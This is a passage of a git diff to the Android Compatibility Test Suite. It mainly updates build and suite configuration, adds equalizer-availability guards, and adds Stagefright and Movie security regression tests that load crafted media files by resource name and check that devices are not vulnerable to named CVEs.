public void testEqualizer_setParamBandLevel() throws Exception {
+ if (!hasEqualizer()) {
+ return;
+ }
final int command = Equalizer.PARAM_BAND_LEVEL;
short[] value = { 1000 };
for (int invalidBand : INVALID_BAND_ARRAY)
@@ -136,6 +163,9 @@
//testing security bug: 32585400
public void testEqualizer_setParamBandLevel_long() throws Exception {
+ if (!hasEqualizer()) {
+ return;
+ }
final int command = Equalizer.PARAM_BAND_LEVEL;
short[] value = { 1000 };
for (int invalidBand : INVALID_BAND_ARRAY)
@@ -148,24 +178,36 @@
//testing security bug: 32705438
public void testEqualizer_getParamFreqRangeCommand_short() throws Exception {
+ if (!hasEqualizer()) {
+ return;
+ }
assertTrue("testEqualizer_getParamFreqRangeCommand_short did not complete successfully",
eqGetParamFreqRangeCommand(MEDIA_SHORT));
}
//testing security bug: 32703959
public void testEqualizer_getParamFreqRangeCommand_long() throws Exception {
+ if (!hasEqualizer()) {
+ return;
+ }
assertTrue("testEqualizer_getParamFreqRangeCommand_long did not complete successfully",
eqGetParamFreqRangeCommand(MEDIA_LONG));
}
//testing security bug: 37563371 (short media)
public void testEqualizer_setParamProperties_short() throws Exception {
+ if (!hasEqualizer()) {
+ return;
+ }
assertTrue("testEqualizer_setParamProperties_long did not complete successfully",
eqSetParamProperties(MEDIA_SHORT));
}
//testing security bug: 37563371 (long media)
public void testEqualizer_setParamProperties_long() throws Exception {
+ if (!hasEqualizer()) {
+ return;
+ }
assertTrue("testEqualizer_setParamProperties_long did not complete successfully",
eqSetParamProperties(MEDIA_LONG));
}
@@ -484,6 +526,18 @@
}
}
+ private boolean hasEqualizer() {
+ boolean result = false;
+ try {
+ MediaPlayer mp = MediaPlayer.create(getInstrumentation().getContext(), R.raw.good);
+ new Equalizer(0 /*priority*/, mp.getAudioSessionId());
+ result = true;
+ } catch (Exception e) {
+ Log.d(TAG, "Cannot create equalizer");
+ }
+ return result;
+ }
+
private static byte[] intToByteArray(int value) {
ByteBuffer converter = ByteBuffer.allocate(4);
converter.order(ByteOrder.nativeOrder());
diff --git a/tests/tests/security/src/android/security/cts/ListeningPortsTest.java b/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
index 84dd7a3..8903aec 100644
--- a/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
+++ b/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
@@ -332,7 +332,8 @@
String[] fields = line.split("\\s+");
final int expectedNumColumns = 12;
assertTrue(procFilePath + " should have at least " + expectedNumColumns
- + " columns of output " + fields, fields.length >= expectedNumColumns);
+ + " columns of output " + Arrays.toString(fields),
+ fields.length >= expectedNumColumns);
String state = fields[3];
int uid = Integer.parseInt(fields[7]);
diff --git a/tests/tests/security/src/android/security/cts/Movie33897722.java b/tests/tests/security/src/android/security/cts/Movie33897722.java
index e14ded1..3e36fa8 100644
--- a/tests/tests/security/src/android/security/cts/Movie33897722.java
+++ b/tests/tests/security/src/android/security/cts/Movie33897722.java
@@ -40,16 +40,34 @@
* color map, which would be reading memory that we do not control, and may be uninitialized.
*/
public void test_android_bug_33897722() {
- InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33897722);
- Movie movie = Movie.decodeStream(exploitImage);
- assertNotNull(movie);
- assertEquals(movie.width(), 600);
- assertEquals(movie.height(), 752);
-
// The image has a 10 x 10 frame on top of a transparent background. Only test the
// 10 x 10 frame, since the original bug would never have used uninitialized memory
// outside of it.
- Bitmap bitmap = Bitmap.createBitmap(10, 10, Bitmap.Config.ARGB_8888);
+ test_movie(R.raw.bug_33897722, 600, 752, 10, 10);
+ }
+
+ public void test_android_bug_37662286() {
+ // The image has a background color that is out of range. Arbitrarily test
+ // the upper left corner. (Most of the image is transparent.)
+ test_movie(R.raw.bug_37662286, 453, 272, 10, 10);
+ }
+
+ /**
+ * Test that a Movie draws transparent where it should.
+ *
+ * Old code read uninitialized memory. This ensures that we fall back to transparent.
+ */
+ private void test_movie(int resId, int screenWidth, int screenHeight,
+ int drawWidth, int drawHeight) {
+ assertTrue(drawWidth <= screenWidth && drawHeight <= screenHeight);
+
+ InputStream exploitImage = mContext.getResources().openRawResource(resId);
+ Movie movie = Movie.decodeStream(exploitImage);
+ assertNotNull(movie);
+ assertEquals(movie.width(), screenWidth);
+ assertEquals(movie.height(), screenHeight);
+
+ Bitmap bitmap = Bitmap.createBitmap(drawWidth, drawHeight, Bitmap.Config.ARGB_8888);
Canvas canvas = new Canvas(bitmap);
// Use Src PorterDuff mode, to see exactly what the Movie creates.
@@ -58,8 +76,8 @@
movie.draw(canvas, 0, 0, paint);
- for (int x = 0; x < 10; x++) {
- for (int y = 0; y < 10; y++) {
+ for (int x = 0; x < drawWidth; x++) {
+ for (int y = 0; y < drawHeight; y++) {
assertEquals(bitmap.getPixel(x, y), Color.TRANSPARENT);
}
}
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 69abc4e..af6034a 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -75,6 +75,21 @@
***********************************************************/
@SecurityTest
+ public void testStagefright_bug_64710074() throws Exception {
+ doStagefrightTest(R.raw.bug_64710074);
+ }
+
+ @SecurityTest
+ public void testStagefright_cve_2017_0643() throws Exception {
+ doStagefrightTest(R.raw.cve_2017_0643);
+ }
+
+ @SecurityTest
+ public void testStagefright_cve_2017_0728() throws Exception {
+ doStagefrightTest(R.raw.cve_2017_0728);
+ }
+
+ @SecurityTest
public void testStagefright_bug_62187433() throws Exception {
doStagefrightTest(R.raw.bug_62187433);
}
@@ -269,11 +284,31 @@
}
@SecurityTest
+ public void testStagefright_cve_2017_0857() throws Exception {
+ doStagefrightTest(R.raw.cve_2017_0857);
+ }
+
+ @SecurityTest
+ public void testStagefright_cve_2017_0600() throws Exception {
+ doStagefrightTest(R.raw.cve_2017_0600);
+ }
+
+ @SecurityTest
+ public void testStagefright_cve_2017_0599() throws Exception {
+ doStagefrightTest(R.raw.cve_2017_0599);
+ }
+
+ @SecurityTest
public void testStagefright_cve_2016_0842() throws Exception {
doStagefrightTest(R.raw.cve_2016_0842);
}
@SecurityTest
+ public void testStagefright_cve_2016_6712() throws Exception {
+ doStagefrightTest(R.raw.cve_2016_6712);
+ }
+
+ @SecurityTest
public void testStagefright_bug_34097672() throws Exception {
doStagefrightTest(R.raw.bug_34097672);
}
@@ -879,52 +914,6 @@
thr.join();
}
- private void doStagefrightTestMediaPlayerANR(final int rid, final String uri) throws Exception {
- String name = uri != null ? uri :
- getInstrumentation().getContext().getResources().getResourceEntryName(rid);
- Log.i(TAG, "start mediaplayerANR test for: " + name);
-
- final MediaPlayerCrashListener mpl = new MediaPlayerCrashListener();
-
- LooperThread t = new LooperThread(new Runnable() {
- @Override
- public void run() {
- MediaPlayer mp = new MediaPlayer();
- mp.setOnErrorListener(mpl);
- mp.setOnPreparedListener(mpl);
- mp.setOnCompletionListener(mpl);
- Surface surface = getDummySurface();
- mp.setSurface(surface);
- AssetFileDescriptor fd = null;
- try {
- if (uri == null) {
- fd = getInstrumentation().getContext().getResources()
- .openRawResourceFd(rid);
-
- mp.setDataSource(fd.getFileDescriptor(),
- fd.getStartOffset(),
- fd.getLength());
- } else {
- mp.setDataSource(uri);
- }
- mp.prepareAsync();
- } catch (Exception e) {
- } finally {
- closeQuietly(fd);
- }
-
- Looper.loop();
- mp.release();
- }
- });
-
- t.start();
- String cve = name.replace("_", "-").toUpperCase();
- assertTrue("Device *IS* vulnerable to " + cve, mpl.waitForErrorOrCompletion());
- t.stopLooper();
- t.join(); // wait for thread to exit so we're sure the player was released
- }
-
public void testBug36215950() throws Exception {
doStagefrightTestRawBlob(R.raw.bug_36215950, "video/hevc", 320, 240);
}
@@ -937,6 +926,20 @@
doStagefrightTestRawBlob(R.raw.bug_36895511, "video/hevc", 320, 240);
}
+ public void testBug64836894() throws Exception {
+ doStagefrightTestRawBlob(R.raw.bug_64836894, "video/avc", 320, 240);
+ }
+
+ @SecurityTest
+ public void testCve_2017_0762() throws Exception {
+ doStagefrightTestRawBlob(R.raw.cve_2017_0762, "video/hevc", 320, 240);
+ }
+
+ @SecurityTest
+ public void testCve_2017_0687() throws Exception {
+ doStagefrightTestRawBlob(R.raw.cve_2017_0687, "video/avc", 320, 240);
+ }
+
@SecurityTest
public void testBug_37930177() throws Exception {
doStagefrightTestRawBlob(R.raw.bug_37930177_hevc, "video/hevc", 320, 240);
@@ -1082,4 +1085,50 @@
thr.stopLooper();
thr.join();
}
+
+ private void doStagefrightTestMediaPlayerANR(final int rid, final String uri) throws Exception {
+ String name = uri != null ? uri :
+ getInstrumentation().getContext().getResources().getResourceEntryName(rid);
+ Log.i(TAG, "start mediaplayerANR test for: " + name);
+
+ final MediaPlayerCrashListener mpl = new MediaPlayerCrashListener();
+
+ LooperThread t = new LooperThread(new Runnable() {
+ @Override
+ public void run() {
+ MediaPlayer mp = new MediaPlayer();
+ mp.setOnErrorListener(mpl);
+ mp.setOnPreparedListener(mpl);
+ mp.setOnCompletionListener(mpl);
+ Surface surface = getDummySurface();
+ mp.setSurface(surface);
+ AssetFileDescriptor fd = null;
+ try {
+ if (uri == null) {
+ fd = getInstrumentation().getContext().getResources()
+ .openRawResourceFd(rid);
+
+ mp.setDataSource(fd.getFileDescriptor(),
+ fd.getStartOffset(),
+ fd.getLength());
+ } else {
+ mp.setDataSource(uri);
+ }
+ mp.prepareAsync();
+ } catch (Exception e) {
+ } finally {
+ closeQuietly(fd);
+ }
+
+ Looper.loop();
+ mp.release();
+ }
+ });
+
+ t.start();
+ String cve = name.replace("_", "-").toUpperCase();
+ assertTrue("Device *IS* vulnerable to " + cve, mpl.waitForErrorOrCompletion());
+ t.stopLooper();
+ t.join(); // wait for thread to exit so we're sure the player was released
+ }
}
diff --git a/tests/tests/security/testeffect/Android.mk b/tests/tests/security/testeffect/Android.mk
index a7e3cac..7e4ab93 100644
--- a/tests/tests/security/testeffect/Android.mk
+++ b/tests/tests/security/testeffect/Android.mk
@@ -28,5 +28,6 @@
LOCAL_C_INCLUDES := \
$(call include-path-for, audio-effects)
+LOCAL_CFLAGS := -Wno-unused-parameter
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/selinux/selinuxTargetSdk/Android.mk b/tests/tests/selinux/selinuxTargetSdk/Android.mk
index cfbe04c..a0923ee 100755
--- a/tests/tests/selinux/selinuxTargetSdk/Android.mk
+++ b/tests/tests/selinux/selinuxTargetSdk/Android.mk
@@ -17,8 +17,11 @@
include $(CLEAR_VARS)
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ ctstestrunner
+LOCAL_JAVA_LIBRARIES := legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_PACKAGE_NAME := CtsSelinuxTargetSdkTestCases
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/selinux/selinuxTargetSdk/AndroidTest.xml b/tests/tests/selinux/selinuxTargetSdk/AndroidTest.xml
index 8e394d8..5f88bb1 100644
--- a/tests/tests/selinux/selinuxTargetSdk/AndroidTest.xml
+++ b/tests/tests/selinux/selinuxTargetSdk/AndroidTest.xml
@@ -14,7 +14,9 @@
limitations under the License.
-->
<configuration description="Config for CTS Permission Selinux test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="security" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsSelinuxTargetSdkTestCases.apk" />
diff --git a/tests/tests/selinux/selinuxTargetSdk2/Android.mk b/tests/tests/selinux/selinuxTargetSdk2/Android.mk
index 9397f97..f475f9f 100755
--- a/tests/tests/selinux/selinuxTargetSdk2/Android.mk
+++ b/tests/tests/selinux/selinuxTargetSdk2/Android.mk
@@ -17,8 +17,11 @@
include $(CLEAR_VARS)
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ ctstestrunner \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_PACKAGE_NAME := CtsSelinuxTargetSdk2TestCases
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/selinux/selinuxTargetSdk2/AndroidTest.xml b/tests/tests/selinux/selinuxTargetSdk2/AndroidTest.xml
index b53a7c4..4b278b2 100644
--- a/tests/tests/selinux/selinuxTargetSdk2/AndroidTest.xml
+++ b/tests/tests/selinux/selinuxTargetSdk2/AndroidTest.xml
@@ -14,7 +14,9 @@
limitations under the License.
-->
<configuration description="Config for CTS Permission Selinux test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="security" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsSelinuxTargetSdk2TestCases.apk" />
diff --git a/tests/tests/shortcutmanager/Android.mk b/tests/tests/shortcutmanager/Android.mk
index 49a3b70..29333aa 100755
--- a/tests/tests/shortcutmanager/Android.mk
+++ b/tests/tests/shortcutmanager/Android.mk
@@ -36,7 +36,7 @@
LOCAL_PACKAGE_NAME := CtsShortcutManagerTestCases
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := test_current
diff --git a/tests/tests/shortcutmanager/AndroidTest.xml b/tests/tests/shortcutmanager/AndroidTest.xml
index 4e98593..1d38171 100644
--- a/tests/tests/shortcutmanager/AndroidTest.xml
+++ b/tests/tests/shortcutmanager/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for ShortcutManager CTS test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk b/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk
index a11c978..5774466 100644
--- a/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk
+++ b/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk
@@ -38,7 +38,7 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.launcher1
@@ -68,7 +68,7 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.launcher2
@@ -98,7 +98,7 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.launcher3
diff --git a/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk b/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk
index bc4aaa7..0d954e2 100644
--- a/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk
+++ b/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk
@@ -37,7 +37,7 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.launcher4
diff --git a/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk b/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk
index 1103194..b8741f2 100644
--- a/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk
+++ b/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk
@@ -37,7 +37,7 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.package1
@@ -67,7 +67,7 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.package2
@@ -97,7 +97,7 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.package3
diff --git a/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk b/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk
index 0b1ff53..ac09355 100644
--- a/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk
+++ b/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk
@@ -37,7 +37,7 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.package4
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java
index 5f0e85e..4f25f44 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java
@@ -33,6 +33,14 @@
@SmallTest
public class ShortcutManagerLauncherApiTest extends ShortcutManagerCtsTestsBase {
+ @Override
+ protected String getOverrideConfig() {
+ return "max_icon_dimension_dp=96,"
+ + "max_icon_dimension_dp_lowram=96,"
+ + "icon_format=PNG,"
+ + "icon_quality=100";
+ }
+
public void testPinShortcuts() {
runWithCaller(mPackageContext1, () -> {
enableManifestActivity("Launcher_manifest_1", true);
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java
index 41b7a82..8f38e18 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java
@@ -16,12 +16,17 @@
package android.content.pm.cts.shortcutmanager;
import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.assertWith;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.dumpsysShortcut;
import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.list;
import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.retryUntil;
import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.setDefaultLauncher;
+import android.content.ComponentName;
import android.content.Intent;
+import android.content.pm.ActivityInfo;
import android.content.pm.LauncherApps.ShortcutQuery;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
import android.content.pm.ShortcutInfo;
import android.content.pm.ShortcutManager;
import android.content.pm.cts.shortcutmanager.common.Constants;
@@ -30,6 +35,7 @@
import android.util.Log;
import com.android.compatibility.common.util.CddTest;
+import java.util.HashMap;
import java.util.List;
@CddTest(requirement="3.8.1/C-4-1")
@@ -103,6 +109,60 @@
return true;
}, "Shortcut still not pinned");
});
+ runWithCaller(mPackageContext1, () -> {
+ assertWith(getManager().getPinnedShortcuts())
+ .forShortcutWithId(SHORTCUT_ID, si -> {
+ assertEquals("label1", si.getShortLabel());
+ })
+ .areAllPinned()
+ .areAllNotDynamic()
+ .areAllNotManifest()
+ .areAllMutable()
+ ;
+ });
+ }
+
+ /**
+ * Same as {@link ShortcutManager#requestPinShortcut} except the app has no main activities.
+ */
+ public void testRequestPinShortcut_noMainActivity() {
+ setDefaultLauncher(getInstrumentation(), mLauncherContext1);
+
+ final PackageManager pm = getTestContext().getPackageManager();
+ final HashMap<ComponentName, Integer> originalState = new HashMap<>();
+ try {
+ for (ResolveInfo ri : pm.queryIntentActivities(
+ new Intent().setPackage(mPackageContext1.getPackageName()), 0)) {
+ final ActivityInfo activityInfo = ri.activityInfo;
+ final ComponentName componentName =
+ new ComponentName(activityInfo.packageName, activityInfo.name);
+
+ originalState.put(componentName, pm.getComponentEnabledSetting(componentName));
+ Log.i(TAG, "Disabling " + componentName);
+ pm.setComponentEnabledSetting(componentName,
+ PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
+ }
+
+ testRequestPinShortcut();
+
+ runWithCaller(mPackageContext1, () -> {
+ assertWith(getManager().getPinnedShortcuts())
+ .areAllPinned()
+ .areAllNotDynamic()
+ .areAllNotManifest()
+ .areAllMutable()
+ .areAllWithActivity(null)
+ ;
+ assertWith(getManager().getManifestShortcuts()).isEmpty();
+ assertWith(getManager().getDynamicShortcuts()).isEmpty();
+ });
+ } finally {
+ // Restore the original state.
+ for (HashMap.Entry<ComponentName, Integer> e : originalState.entrySet()) {
+ pm.setComponentEnabledSetting(e.getKey(), e.getValue()
+ , PackageManager.DONT_KILL_APP);
+ }
+ }
}
// TODO Various other cases (already pinned, etc)
diff --git a/tests/tests/shortcutmanager/throttling/Android.mk b/tests/tests/shortcutmanager/throttling/Android.mk
index 7e6d869..62f959e 100644
--- a/tests/tests/shortcutmanager/throttling/Android.mk
+++ b/tests/tests/shortcutmanager/throttling/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsShortcutManagerThrottlingTest
diff --git a/tests/tests/simpleperf/Android.mk b/tests/tests/simpleperf/Android.mk
index c7f2afb..eaec920 100644
--- a/tests/tests/simpleperf/Android.mk
+++ b/tests/tests/simpleperf/Android.mk
@@ -44,7 +44,7 @@
$($(LOCAL_2ND_ARCH_VAR_PREFIX)TARGET_OBJCOPY) --add-section .testzipdata=$$TMP_FILE $(linked_module) && \
rm -f $$TMP_FILE
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.simpleperf
LOCAL_FORCE_STATIC_EXECUTABLE := true
diff --git a/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk b/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk
index b84be25..2a172b5 100644
--- a/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk
+++ b/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, .)
@@ -30,6 +30,6 @@
LOCAL_SDK_VERSION := current
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/speech/Android.mk b/tests/tests/speech/Android.mk
index 572871b..05f9388 100755
--- a/tests/tests/speech/Android.mk
+++ b/tests/tests/speech/Android.mk
@@ -29,7 +29,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsSpeechTestCases
diff --git a/tests/tests/systemintents/Android.mk b/tests/tests/systemintents/Android.mk
index 1af6702..ba284f5 100644
--- a/tests/tests/systemintents/Android.mk
+++ b/tests/tests/systemintents/Android.mk
@@ -21,13 +21,13 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_PACKAGE_NAME := CtsSystemIntentTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test compatibility-device-util
LOCAL_SDK_VERSION := test_current
diff --git a/tests/tests/systemintents/AndroidTest.xml b/tests/tests/systemintents/AndroidTest.xml
index 7b5e7e9..37f9895 100644
--- a/tests/tests/systemintents/AndroidTest.xml
+++ b/tests/tests/systemintents/AndroidTest.xml
@@ -16,6 +16,7 @@
-->
<configuration description="Config for CTS system intent test cases">
<option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsSystemIntentTestCases.apk" />
diff --git a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
index c572629..c490c5d 100644
--- a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
+++ b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
@@ -26,6 +26,8 @@
import android.test.AndroidTestCase;
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
+
import org.junit.Rule;
import org.junit.Test;
@@ -74,6 +76,7 @@
new Intent(Settings.ACTION_NOTIFICATION_POLICY_ACCESS_SETTINGS))
};
+ @CddTest(requirement="3.8.3.3/C-1-1")
@Test
public void testSystemIntents() {
final PackageManager pm = getContext().getPackageManager();
diff --git a/tests/tests/systemui/Android.mk b/tests/tests/systemui/Android.mk
index 6aed2f8..6ba1e77 100644
--- a/tests/tests/systemui/Android.mk
+++ b/tests/tests/systemui/Android.mk
@@ -22,14 +22,15 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_JAVA_LIBRARIES := android.test.runner
LOCAL_STATIC_JAVA_LIBRARIES := \
ctstestrunner \
android-support-test \
- legacy-android-test
+ legacy-android-test \
+ ub-uiautomator
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/systemui/AndroidManifest.xml b/tests/tests/systemui/AndroidManifest.xml
index fc0d841..453640d 100644
--- a/tests/tests/systemui/AndroidManifest.xml
+++ b/tests/tests/systemui/AndroidManifest.xml
@@ -23,6 +23,8 @@
<application>
<activity android:name=".LightBarActivity"
android:theme="@android:style/Theme.Material.NoActionBar"></activity>
+ <activity android:name=".LightBarThemeActivity"
+ android:theme="@style/LightBarTheme"></activity>
<uses-library android:name="android.test.runner" />
</application>
diff --git a/tests/tests/systemui/AndroidTest.xml b/tests/tests/systemui/AndroidTest.xml
index ac3bb93..208f844 100644
--- a/tests/tests/systemui/AndroidTest.xml
+++ b/tests/tests/systemui/AndroidTest.xml
@@ -14,7 +14,9 @@
limitations under the License.
-->
<configuration description="Config for CTS SystemUI test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="sysui" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsSystemUiTestCases.apk" />
diff --git a/tests/tests/systemui/res/drawable/ic_save.png b/tests/tests/systemui/res/drawable/ic_save.png
new file mode 100644
index 0000000..a046efc
--- /dev/null
+++ b/tests/tests/systemui/res/drawable/ic_save.png
Binary files differ
diff --git a/tests/tests/systemui/res/values/colors.xml b/tests/tests/systemui/res/values/colors.xml
new file mode 100644
index 0000000..6f0558a
--- /dev/null
+++ b/tests/tests/systemui/res/values/colors.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
